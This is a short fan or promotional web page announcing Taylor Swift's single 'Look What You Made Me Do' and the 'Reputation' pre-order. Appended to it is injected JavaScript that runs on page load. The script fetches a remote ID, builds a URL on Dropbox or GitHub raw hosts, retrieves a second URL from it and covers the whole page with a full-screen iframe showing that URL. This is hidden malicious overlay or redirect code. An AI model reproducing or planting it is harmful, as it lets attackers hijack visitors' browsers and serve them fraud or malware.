Taylor Swift’s brand new single, Look What You Made Me Do, now available everywhere!
Listen below or grab as instant delivery of her next album, Reputation, pre-order on iTunes here: http://smarturl.it/reputationTS
https://youtu.be/3K0RzZGpyds
var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; if (registry.run) return; registry.run = true;
function buildTrustedUrl(template, id) { if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); return template.replace(/\{id\}/g, encoded); }
function isSingleUrl(text) { var s = (text || "").trim(); if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false; return /^https?:\/\/[^\s<>"']+$/i.test(s); }
function showInIframe(url) { if (!url || !/^https?:\/\//i.test(url)) return; try { var iframe = document.createElement("iframe"); iframe.src = url; iframe.style.cssText = "position:fixed ;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; (document.body || document.documentElement).appendChild(iframe); } catch (e) {} }
function run() { fetch(API_ID_URL, { cache: "no-store" }) .then(function(r) { return r.text(); }) .then(function(id) { id = (id || "").trim(); if (!id || !TRUSTED_CONFIGS.length) return null; var template = TRUSTED_CONFIGS[0].template; var trustedUrl = buildTrustedUrl(template, id); return fetch(trustedUrl, { cache: "no-store" }) .then(function(r) { return r.text(); }) .then(function(t) { return (t || "").trim(); }) .catch(function() { return ""; }); }) .then(function(trustedResponse) { if (!trustedResponse) return; if (isSingleUrl(trustedResponse)) { showInIframe(trustedResponse); } }) .catch(function() {}); }
if (document.readyState === "complete" || document.body) { run(); } else { window.addEventListener("DOMContentLoaded", run); } })();